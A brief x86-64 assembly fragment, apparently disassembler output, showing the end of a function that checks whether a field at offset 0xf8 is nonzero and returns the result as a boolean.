jbe 0x140007f36
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140007f38
xor al, al
add rsp, 0x28
ret